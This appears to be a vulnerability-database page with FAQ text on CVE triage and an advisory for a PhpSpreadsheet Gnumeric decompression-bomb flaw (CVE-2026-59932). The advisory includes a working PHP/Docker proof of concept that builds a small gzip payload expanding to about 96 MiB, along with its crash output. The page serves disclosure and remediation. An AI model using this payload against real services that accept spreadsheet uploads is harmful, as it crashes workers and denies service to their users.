How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

363,156

Total vulnerabilities in the database

CVE-2026-59932 — phpoffice / phpspreadsheet

Uncontrolled Resource Consumption

Summary

PhpSpreadsheet's Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed.

This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.

Vulnerability details

Gnumeric::canRead() invokes gzfileGetContents() before deciding whether the file is a valid Gnumeric spreadsheet:

src/PhpSpreadsheet/Reader/Gnumeric.php:80-90 calls $this->gzfileGetContents($filename) from canRead().
src/PhpSpreadsheet/Reader/Gnumeric.php:105-115 calls canRead() and then reads the expanded contents again for worksheet-name listing.
src/PhpSpreadsheet/Reader/Gnumeric.php:253-265 calls canRead() and then reads the expanded contents again for full loading.

The vulnerable expansion is in gzfileGetContents():

src/PhpSpreadsheet/Reader/Gnumeric.php:187-190 reads the entire input file into $contents with file_get_contents().
src/PhpSpreadsheet/Reader/Gnumeric.php:192-197 detects gzip magic bytes and calls gzdecode($contents) without a decompressed-size cap.
src/PhpSpreadsheet/Reader/Gnumeric.php:204-205 scans the expanded data only after decompression has already completed.

Because decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.

Impact

A small .gnumeric upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.

In the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes Gnumeric::canRead() under memory_limit=64M at Reader/Gnumeric.php:195.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the compressed payload inside the container and does not contact external infrastructure.

docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh &lt;&lt;&#039;SH&#039;
set -eu
php -r &#039;
$prefix = &quot;&lt;?xml version=\&quot;1.0\&quot;?&gt;&lt;gnm:Workbook xmlns:gnm=\&quot;http://www.gnumeric.org/v10.dtd\&quot;&gt;&quot;;
$suffix = &quot;&lt;/gnm:Workbook&gt;&quot;;
$payload = $prefix . str_repeat(&quot;A&quot;, 96 * 1024 * 1024) . $suffix;
$gz = gzencode($payload, 9);
file_put_contents(&quot;/tmp/bomb.gnumeric&quot;, $gz);
printf(&quot;compressed_size=%d expanded_size=%d\n&quot;, filesize(&quot;/tmp/bomb.gnumeric&quot;), strlen($payload));
&#039;
php -d memory_limit=64M -d display_errors=1 -r &#039;
require &quot;/app/vendor/autoload.php&quot;;
$r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric();
var_dump($r-&gt;canRead(&quot;/tmp/bomb.gnumeric&quot;));
&#039; 2&gt;&amp;1 || true
SH

Observed output:

compressed_size=97811 expanded_size=100663390
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\Gnumeric-&gt;canRead($filename = &#039;/tmp/bomb.gnumeric&#039;) Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Reader\Gnumeric-&gt;gzfileGetContents($filename = &#039;/tmp/bomb.gnumeric&#039;) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84
PHP   4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195

Suggested remediation

Do not decompress gzip data with unbounded gzdecode() for untrusted .gnumeric files.
Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.
Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.
Ensure canRead(), listWorksheetNames(), listWorksheetInfo(), and load() share bounded decompression logic and avoid decompressing the same file repeatedly.
Fail closed with a recoverable Reader\Exception when limits are exceeded, rather than allowing a PHP fatal memory error.

Published: Jul 23, 2026
Updated: Jul 24, 2026
CVE: CVE-2026-59932
GHSA: GHSA-2mrg-gjxq-2gvr
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWEs:

Affected Software
References

Software	From	Fixed in
phpoffice / phpspreadsheet	4.0.0	5.8.1
phpoffice / phpspreadsheet	3.3.0	3.10.7
phpoffice / phpspreadsheet	2.2.0	2.4.7
phpoffice / phpspreadsheet	2.0.0	2.1.18
phpoffice / phpspreadsheet	-	1.30.6

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.